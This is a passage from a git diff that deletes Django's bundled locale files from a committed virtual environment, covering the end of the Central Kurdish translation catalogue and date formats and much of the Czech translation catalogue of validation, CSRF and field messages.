"‫%(num)d ڕۆژ" -msgstr[1] "‫%(num)d ڕۆژ" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "‫%(num)d کاتژمێر" -msgstr[1] "‫%(num)d کاتژمێر" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "‫%(num)d خولەک" -msgstr[1] "‫%(num)d خولەک" - -msgid "Forbidden" -msgstr "ڕێپێنەدراو" - -msgid "CSRF verification failed. Request aborted." -msgstr "پشتڕاستکردنەوەی CSRF شکستی هێنا. داواکاری هەڵوەشاوەتەوە." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"تۆ ئەم پەیامە دەبینیت چونکە ئەم ماڵپەڕە HTTPS پێویستی بە \"سەردێڕی " -"ئاماژەدەر\" هەیە کە لەلایەن وێبگەڕەکەتەوە بنێردرێت، بەڵام هیچیان نەنێردراوە. " -"ئەم سەردێڕە بۆ هۆکاری ئاسایش پێویستە، بۆ دڵنیابوون لەوەی کە وێبگەڕەکەت " -"لەلایەن لایەنی سێیەمەوە دەستی بەسەردا ناگیرێت." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"ئەگەر ڕێکخستنی شەکرۆکەی ئەم وێبگەڕەت بۆ “Referer” ناچالاککردووە، تکایە " -"چالاکی بکەرەوە، لانیکەم بۆ ئەم ماڵپەڕە، یان بۆ پەیوەندییەکانی HTTPS، یاخود " -"بۆ داواکانی \"Same-origin\"." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"ئەگەر تۆ تاگی بەکاردەهێنێت " -"یان سەرپەڕەی “Referrer-Policy: no-referrer” لەخۆدەگرێت، تکایە بیانسڕەوە. " -"پاراستنی CSRFەکە پێویستی بە سەرپەڕەی “Referer”هەیە بۆ ئەنجامدانی پشکنینی " -"گەڕاندنەوەی توندوتۆڵ. ئەگەر خەمی تایبەتمەندیت هەیە، بەدیلەکانی وەکو بۆ بەستنەوەی ماڵپەڕەکانی لایەنی سێیەم." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"تۆ ئەم پەیامە دەبینیت چونکە ئەم ماڵپەڕە پێویستی بە شەکرۆکەی CSRF هەیە لە " -"کاتی ناردنی فۆڕمەکاندا. ئەم شەکرۆکەیە بۆ هۆکاری ئاسایش پێویستە، بۆ دڵنیابوون " -"لەوەی کە وێبگەڕەکەت لەلایەن لایەنی سێیەمەوە دەستی بەسەردا ناگیرێت." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"ئەگەر ڕێکخستنی شەکرۆکەی ئەم وێبگەڕەت ناچالاککردووە، تکایە چالاکی بکەرەوە، " -"لانیکەم بۆ ئەم ماڵپەڕە، یان بۆ داواکانی \"Same-origin\"" - -msgid "More information is available with DEBUG=True." -msgstr "زانیاریی زیاتر بەردەستە لەگەڵ DEBUG=True." - -msgid "No year specified" -msgstr "هیچ ساڵێک دیاری نەکراوە" - -msgid "Date out of range" -msgstr "بەروار لە دەرەوەی بواردایە" - -msgid "No month specified" -msgstr "هیچ مانگێک دیاری نەکراوە" - -msgid "No day specified" -msgstr "هیچ ڕۆژێک دیاری نەکراوە" - -msgid "No week specified" -msgstr "هیچ حەفتەیەک دیاری نەکراوە" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "هیچ %(verbose_name_plural)s بەردەست نییە" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"لەداهاتوودا %(verbose_name_plural)s بەردەست نیە چونکە %(class_name)s." -"allow_future چەوتە." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "ڕیزبەندی بەروار نادروستە “%(datestr)s” شێوازی “%(format)s” پێ بدە" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "هیچ %(verbose_name)s هاوتای داواکارییەکە نیە" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "لاپەڕە “کۆتا” نییە، هەروەها ناتوانرێت بگۆڕدرێت بۆ ژمارەی تەواو." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "لاپەڕەی نادروستە (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "لیستی بەتاڵ و “%(class_name)s.allow_empty” چەوتە." - -msgid "Directory indexes are not allowed here." -msgstr "لێرەدا نوانەی بوخچەکان ڕێگەپێدراو نیە." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "“%(path)s” بوونی نیە" - -#, python-format -msgid "Index of %(directory)s" -msgstr "نوانەی %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "دامەزراندن بەسەرکەوتوویی کاریکرد! پیرۆزە!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"سەیری تێبینیەکانی بڵاوکردنەوە بکە بۆ جانگۆی " -"%(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"ئەم لاپەڕەیە دەبینیت چونکە DEBUG=True لەناو پەڕگەی ڕێکخستنەکانتە و بۆ هیچ URLێک " -"ڕێکنەخراوە." - -msgid "Django Documentation" -msgstr "بەڵگەنامەکردنی جانگۆ" - -msgid "Topics, references, & how-to’s" -msgstr "بابەتەکان, سەرچاوەکان, & چۆنێتی" - -msgid "Tutorial: A Polling App" -msgstr "فێرکاریی: ئاپێکی ڕاپرسی" - -msgid "Get started with Django" -msgstr "دەستپێبکە لەگەڵ جانگۆ" - -msgid "Django Community" -msgstr "کۆمەڵگەی جانگۆ" - -msgid "Connect, get help, or contribute" -msgstr "پەیوەندی بکە، یارمەتی وەربگرە، یان بەشداری بکە" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ckb/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/ckb/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ckb/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ckb/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index e8d670f4..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ckb/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ckb/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ckb/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index f4130328..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ckb/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ckb/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/ckb/formats.py deleted file mode 100644 index 162c840d..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ckb/formats.py +++ /dev/null @@ -1,21 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j F Y" -TIME_FORMAT = "G:i" -DATETIME_FORMAT = "j F Y، کاتژمێر G:i" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "Y/n/j" -SHORT_DATETIME_FORMAT = "Y/n/j،‏ G:i" -FIRST_DAY_OF_WEEK = 6 - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# DATE_INPUT_FORMATS = -# TIME_INPUT_FORMATS = -# DATETIME_INPUT_FORMATS = -DECIMAL_SEPARATOR = "." -THOUSAND_SEPARATOR = "," -# NUMBER_GROUPING = diff --git a/backend/venv/Lib/site-packages/django/conf/locale/cs/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/cs/LC_MESSAGES/django.mo deleted file mode 100644 index 95086e3d..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/cs/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/cs/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/cs/LC_MESSAGES/django.po deleted file mode 100644 index 14f5ef96..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/cs/LC_MESSAGES/django.po +++ /dev/null @@ -1,1388 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Claude Paroz , 2020 -# Jannis Leidel , 2011 -# Jan Papež , 2012,2024 -# Jiří Podhorecký , 2024 -# Jiří Podhorecký , 2022 -# Jirka Vejrazka , 2011 -# Jiří Podhorecký , 2020 -# Tomáš Ehrlich , 2015 -# Vláďa Macek , 2012-2014 -# Vláďa Macek , 2015-2022 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-10-07 06:49+0000\n" -"Last-Translator: Jan Papež , 2012,2024\n" -"Language-Team: Czech (http://app.transifex.com/django/django/language/cs/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: cs\n" -"Plural-Forms: nplurals=4; plural=(n == 1 && n % 1 == 0) ? 0 : (n >= 2 && n " -"<= 4 && n % 1 == 0) ? 1: (n % 1 != 0 ) ? 2 : 3;\n" - -msgid "Afrikaans" -msgstr "afrikánsky" - -msgid "Arabic" -msgstr "arabsky" - -msgid "Algerian Arabic" -msgstr "alžírskou arabštinou" - -msgid "Asturian" -msgstr "asturštinou" - -msgid "Azerbaijani" -msgstr "ázerbájdžánsky" - -msgid "Bulgarian" -msgstr "bulharsky" - -msgid "Belarusian" -msgstr "bělorusky" - -msgid "Bengali" -msgstr "bengálsky" - -msgid "Breton" -msgstr "bretonsky" - -msgid "Bosnian" -msgstr "bosensky" - -msgid "Catalan" -msgstr "katalánsky" - -msgid "Central Kurdish (Sorani)" -msgstr "Střední kurdština (soranština)" - -msgid "Czech" -msgstr "česky" - -msgid "Welsh" -msgstr "velšsky" - -msgid "Danish" -msgstr "dánsky" - -msgid "German" -msgstr "německy" - -msgid "Lower Sorbian" -msgstr "dolnolužickou srbštinou" - -msgid "Greek" -msgstr "řecky" - -msgid "English" -msgstr "anglicky" - -msgid "Australian English" -msgstr "australskou angličtinou" - -msgid "British English" -msgstr "britskou angličtinou" - -msgid "Esperanto" -msgstr "esperantsky" - -msgid "Spanish" -msgstr "španělsky" - -msgid "Argentinian Spanish" -msgstr "argentinskou španělštinou" - -msgid "Colombian Spanish" -msgstr "kolumbijskou španělštinou" - -msgid "Mexican Spanish" -msgstr "mexickou španělštinou" - -msgid "Nicaraguan Spanish" -msgstr "nikaragujskou španělštinou" - -msgid "Venezuelan Spanish" -msgstr "venezuelskou španělštinou" - -msgid "Estonian" -msgstr "estonsky" - -msgid "Basque" -msgstr "baskicky" - -msgid "Persian" -msgstr "persky" - -msgid "Finnish" -msgstr "finsky" - -msgid "French" -msgstr "francouzsky" - -msgid "Frisian" -msgstr "frísky" - -msgid "Irish" -msgstr "irsky" - -msgid "Scottish Gaelic" -msgstr "skotskou keltštinou" - -msgid "Galician" -msgstr "galicijsky" - -msgid "Hebrew" -msgstr "hebrejsky" - -msgid "Hindi" -msgstr "hindsky" - -msgid "Croatian" -msgstr "chorvatsky" - -msgid "Upper Sorbian" -msgstr "hornolužickou srbštinou" - -msgid "Hungarian" -msgstr "maďarsky" - -msgid "Armenian" -msgstr "arménštinou" - -msgid "Interlingua" -msgstr "interlingua" - -msgid "Indonesian" -msgstr "indonésky" - -msgid "Igbo" -msgstr "igboštinou" - -msgid "Ido" -msgstr "idem" - -msgid "Icelandic" -msgstr "islandsky" - -msgid "Italian" -msgstr "italsky" - -msgid "Japanese" -msgstr "japonsky" - -msgid "Georgian" -msgstr "gruzínštinou" - -msgid "Kabyle" -msgstr "kabylštinou" - -msgid "Kazakh" -msgstr "kazašsky" - -msgid "Khmer" -msgstr "khmersky" - -msgid "Kannada" -msgstr "kannadsky" - -msgid "Korean" -msgstr "korejsky" - -msgid "Kyrgyz" -msgstr "kyrgyzštinou" - -msgid "Luxembourgish" -msgstr "lucembursky" - -msgid "Lithuanian" -msgstr "litevsky" - -msgid "Latvian" -msgstr "lotyšsky" - -msgid "Macedonian" -msgstr "makedonsky" - -msgid "Malayalam" -msgstr "malajálamsky" - -msgid "Mongolian" -msgstr "mongolsky" - -msgid "Marathi" -msgstr "marathi" - -msgid "Malay" -msgstr "malajštinou" - -msgid "Burmese" -msgstr "barmštinou" - -msgid "Norwegian Bokmål" -msgstr "bokmål norštinou" - -msgid "Nepali" -msgstr "nepálsky" - -msgid "Dutch" -msgstr "nizozemsky" - -msgid "Norwegian Nynorsk" -msgstr "norsky (Nynorsk)" - -msgid "Ossetic" -msgstr "osetštinou" - -msgid "Punjabi" -msgstr "paňdžábsky" - -msgid "Polish" -msgstr "polsky" - -msgid "Portuguese" -msgstr "portugalsky" - -msgid "Brazilian Portuguese" -msgstr "brazilskou portugalštinou" - -msgid "Romanian" -msgstr "rumunsky" - -msgid "Russian" -msgstr "rusky" - -msgid "Slovak" -msgstr "slovensky" - -msgid "Slovenian" -msgstr "slovinsky" - -msgid "Albanian" -msgstr "albánsky" - -msgid "Serbian" -msgstr "srbsky" - -msgid "Serbian Latin" -msgstr "srbsky (latinkou)" - -msgid "Swedish" -msgstr "švédsky" - -msgid "Swahili" -msgstr "svahilsky" - -msgid "Tamil" -msgstr "tamilsky" - -msgid "Telugu" -msgstr "telužsky" - -msgid "Tajik" -msgstr "Tádžik" - -msgid "Thai" -msgstr "thajsky" - -msgid "Turkmen" -msgstr "turkmenštinou" - -msgid "Turkish" -msgstr "turecky" - -msgid "Tatar" -msgstr "tatarsky" - -msgid "Udmurt" -msgstr "udmurtsky" - -msgid "Uyghur" -msgstr "Ujgurština" - -msgid "Ukrainian" -msgstr "ukrajinsky" - -msgid "Urdu" -msgstr "urdsky" - -msgid "Uzbek" -msgstr "uzbecky" - -msgid "Vietnamese" -msgstr "vietnamsky" - -msgid "Simplified Chinese" -msgstr "čínsky (zjednodušeně)" - -msgid "Traditional Chinese" -msgstr "čínsky (tradičně)" - -msgid "Messages" -msgstr "Zprávy" - -msgid "Site Maps" -msgstr "Mapy webu" - -msgid "Static Files" -msgstr "Statické soubory" - -msgid "Syndication" -msgstr "Syndikace" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Číslo stránky není celé číslo." - -msgid "That page number is less than 1" -msgstr "Číslo stránky je menší než 1" - -msgid "That page contains no results" -msgstr "Stránka je bez výsledků" - -msgid "Enter a valid value." -msgstr "Zadejte platnou hodnotu." - -msgid "Enter a valid domain name." -msgstr "Zadejte platný název domény." - -msgid "Enter a valid URL." -msgstr "Zadejte platnou adresu URL." - -msgid "Enter a valid integer." -msgstr "Zadejte platné celé číslo." - -msgid "Enter a valid email address." -msgstr "Zadejte platnou e-mailovou adresu." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Vložte platný identifikátor složený pouze z písmen, čísel, podtržítek a " -"pomlček." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Zadejte platný identifikátor složený pouze z písmen, čísel, podtržítek a " -"pomlček typu Unicode." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Zadejte platnou %(protocol)s adresu." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 nebo IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Zadejte pouze číslice oddělené čárkami." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Hodnota musí být %(limit_value)s (nyní je %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Hodnota musí být menší nebo rovna %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Hodnota musí být větší nebo rovna %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "" -"Ujistěte se, že tato hodnota je násobkem velikosti kroku %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Zajistěte, aby tato hodnota byla %(limit_value)s násobkem velikosti kroku , " -"počínaje %(offset)s, např. %(offset)s, %(valid_value1)s, %(valid_value2)s, a " -"tak dále." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Tato hodnota má mít nejméně %(limit_value)d znak (nyní má %(show_value)d)." -msgstr[1] "" -"Tato hodnota má mít nejméně %(limit_value)d znaky (nyní má %(show_value)d)." -msgstr[2] "" -"Tato hodnota má mít nejméně %(limit_value)d znaku (nyní má %(show_value)d)." -msgstr[3] "" -"Tato hodnota má mít nejméně %(limit_value)d znaků (nyní má %(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Tato hodnota má mít nejvýše %(limit_value)d znak (nyní má %(show_value)d)." -msgstr[1] "" -"Tato hodnota má mít nejvýše %(limit_value)d znaky (nyní má %(show_value)d)." -msgstr[2] "" -"Tato hodnota má mít nejvýše %(limit_value)d znaků (nyní má %(show_value)d)." -msgstr[3] "" -"Tato hodnota má mít nejvýše %(limit_value)d znaků (nyní má %(show_value)d)." - -msgid "Enter a number." -msgstr "Zadejte číslo." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Ujistěte se, že pole neobsahuje celkem více než %(max)s číslici." -msgstr[1] "Ujistěte se, že pole neobsahuje celkem více než %(max)s číslice." -msgstr[2] "Ujistěte se, že pole neobsahuje celkem více než %(max)s číslic." -msgstr[3] "Ujistěte se, že pole neobsahuje celkem více než %(max)s číslic." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Ujistěte se, že pole neobsahuje více než %(max)s desetinné místo." -msgstr[1] "Ujistěte se, že pole neobsahuje více než %(max)s desetinná místa." -msgstr[2] "Ujistěte se, že pole neobsahuje více než %(max)s desetinných míst." -msgstr[3] "Ujistěte se, že pole neobsahuje více než %(max)s desetinných míst." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Ujistěte se, že hodnota neobsahuje více než %(max)s místo před desetinnou " -"čárkou (tečkou)." -msgstr[1] "" -"Ujistěte se, že hodnota neobsahuje více než %(max)s místa před desetinnou " -"čárkou (tečkou)." -msgstr[2] "" -"Ujistěte se, že hodnota neobsahuje více než %(max)s míst před desetinnou " -"čárkou (tečkou)." -msgstr[3] "" -"Ujistěte se, že hodnota neobsahuje více než %(max)s míst před desetinnou " -"čárkou (tečkou)." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Přípona souboru \"%(extension)s\" není povolena. Povolené jsou tyto: " -"%(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Nulové znaky nejsou povoleny." - -msgid "and" -msgstr "a" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" -"Položka %(model_name)s s touto kombinací hodnot v polích %(field_labels)s " -"již existuje." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "Omezení \"%(name)s\" je porušeno." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Hodnota %(value)r není platná možnost." - -msgid "This field cannot be null." -msgstr "Pole nemůže být null." - -msgid "This field cannot be blank." -msgstr "Pole nemůže být prázdné." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "" -"Položka %(model_name)s s touto hodnotou v poli %(field_label)s již existuje." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"Pole %(field_label)s musí být unikátní testem %(lookup_type)s pro pole " -"%(date_field_label)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Pole typu: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "Hodnota \"%(value)s\" musí být buď True nebo False." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "Hodnota \"%(value)s\" musí být buď True, False nebo None." - -msgid "Boolean (Either True or False)" -msgstr "Pravdivost (buď Ano (True), nebo Ne (False))" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Řetězec (max. %(max_length)s znaků)" - -msgid "String (unlimited)" -msgstr "Řetězec (neomezený)" - -msgid "Comma-separated integers" -msgstr "Celá čísla oddělená čárkou" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "Hodnota \"%(value)s\" není platné datum. Musí být ve tvaru RRRR-MM-DD." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"Ačkoli hodnota \"%(value)s\" je ve správném tvaru (RRRR-MM-DD), jde o " -"neplatné datum." - -msgid "Date (without time)" -msgstr "Datum (bez času)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"Hodnota \"%(value)s\" je v neplatném tvaru, který má být RRRR-MM-DD HH:MM[:" -"SS[.uuuuuu]][TZ]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"Ačkoli hodnota \"%(value)s\" je ve správném tvaru (RRRR-MM-DD HH:MM[:SS[." -"uuuuuu]][TZ]), jde o neplatné datum a čas." - -msgid "Date (with time)" -msgstr "Datum (s časem)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "Hodnota \"%(value)s\" musí být desítkové číslo." - -msgid "Decimal number" -msgstr "Desetinné číslo" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"Hodnota \"%(value)s\" je v neplatném tvaru, který má být [DD] [HH:[MM:]]ss[." -"uuuuuu]." - -msgid "Duration" -msgstr "Doba trvání" - -msgid "Email address" -msgstr "E-mailová adresa" - -msgid "File path" -msgstr "Cesta k souboru" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "Hodnota \"%(value)s\" musí být reálné číslo." - -msgid "Floating point number" -msgstr "Číslo s pohyblivou řádovou čárkou" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "Hodnota \"%(value)s\" musí být celé číslo." - -msgid "Integer" -msgstr "Celé číslo" - -msgid "Big (8 byte) integer" -msgstr "Velké číslo (8 bajtů)" - -msgid "Small integer" -msgstr "Malé celé číslo" - -msgid "IPv4 address" -msgstr "Adresa IPv4" - -msgid "IP address" -msgstr "Adresa IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "Hodnota \"%(value)s\" musí být buď None, True nebo False." - -msgid "Boolean (Either True, False or None)" -msgstr "Pravdivost (buď Ano (True), Ne (False) nebo Nic (None))" - -msgid "Positive big integer" -msgstr "Velké kladné celé číslo" - -msgid "Positive integer" -msgstr "Kladné celé číslo" - -msgid "Positive small integer" -msgstr "Kladné malé celé číslo" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Identifikátor (nejvýše %(max_length)s znaků)" - -msgid "Text" -msgstr "Text" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"Hodnota \"%(value)s\" je v neplatném tvaru, který má být HH:MM[:ss[.uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"Ačkoli hodnota \"%(value)s\" je ve správném tvaru (HH:MM[:ss[.uuuuuu]]), jde " -"o neplatný čas." - -msgid "Time" -msgstr "Čas" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Přímá binární data" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "\"%(value)s\" není platná hodnota typu UUID." - -msgid "Universally unique identifier" -msgstr "Všeobecně jedinečný identifikátor" - -msgid "File" -msgstr "Soubor" - -msgid "Image" -msgstr "Obrázek" - -msgid "A JSON object" -msgstr "Objekt typu JSON" - -msgid "Value must be valid JSON." -msgstr "Hodnota musí být platná struktura typu JSON." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" -"Položka typu %(model)s s hodnotou %(field)s rovnou %(value)r neexistuje." - -msgid "Foreign Key (type determined by related field)" -msgstr "Cizí klíč (typ určen pomocí souvisejícího pole)" - -msgid "One-to-one relationship" -msgstr "Vazba jedna-jedna" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "Vazba z %(from)s do %(to)s" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "Vazby z %(from)s do %(to)s" - -msgid "Many-to-many relationship" -msgstr "Vazba mnoho-mnoho" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?!" - -msgid "This field is required." -msgstr "Toto pole je třeba vyplnit." - -msgid "Enter a whole number." -msgstr "Zadejte celé číslo." - -msgid "Enter a valid date." -msgstr "Zadejte platné datum." - -msgid "Enter a valid time." -msgstr "Zadejte platný čas." - -msgid "Enter a valid date/time." -msgstr "Zadejte platné datum a čas." - -msgid "Enter a valid duration." -msgstr "Zadejte platnou délku trvání." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Počet dní musí být mezi {min_days} a {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" -"Soubor nebyl odeslán. Zkontrolujte parametr \"encoding type\" formuláře." - -msgid "No file was submitted." -msgstr "Žádný soubor nebyl odeslán." - -msgid "The submitted file is empty." -msgstr "Odeslaný soubor je prázdný." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Tento název souboru má mít nejvýše %(max)d znak (nyní má %(length)d)." -msgstr[1] "" -"Tento název souboru má mít nejvýše %(max)d znaky (nyní má %(length)d)." -msgstr[2] "" -"Tento název souboru má mít nejvýše %(max)d znaku (nyní má %(length)d)." -msgstr[3] "" -"Tento název souboru má mít nejvýše %(max)d znaků (nyní má %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Musíte vybrat cestu k souboru nebo vymazat výběr, ne obojí." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Nahrajte platný obrázek. Odeslaný soubor buď nebyl obrázek nebo byl poškozen." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Vyberte platnou možnost, \"%(value)s\" není k dispozici." - -msgid "Enter a list of values." -msgstr "Zadejte seznam hodnot." - -msgid "Enter a complete value." -msgstr "Zadejte úplnou hodnotu." - -msgid "Enter a valid UUID." -msgstr "Zadejte platné UUID." - -msgid "Enter a valid JSON." -msgstr "Zadejte platnou strukturu typu JSON." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Skryté pole %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"Data objektu ManagementForm chybí nebo s nimi bylo nedovoleně manipulováno. " -"Chybějící pole: %(field_names)s. Pokud problém přetrvává, budete možná muset " -"problém ohlásit." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Odešlete prosím nejvíce %(num)d formulář." -msgstr[1] "Odešlete prosím nejvíce %(num)d formuláře." -msgstr[2] "Odešlete prosím nejvíce %(num)d formulářů." -msgstr[3] "Odešlete prosím nejvíce %(num)d formulářů." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Odešlete prosím alespoň %(num)d 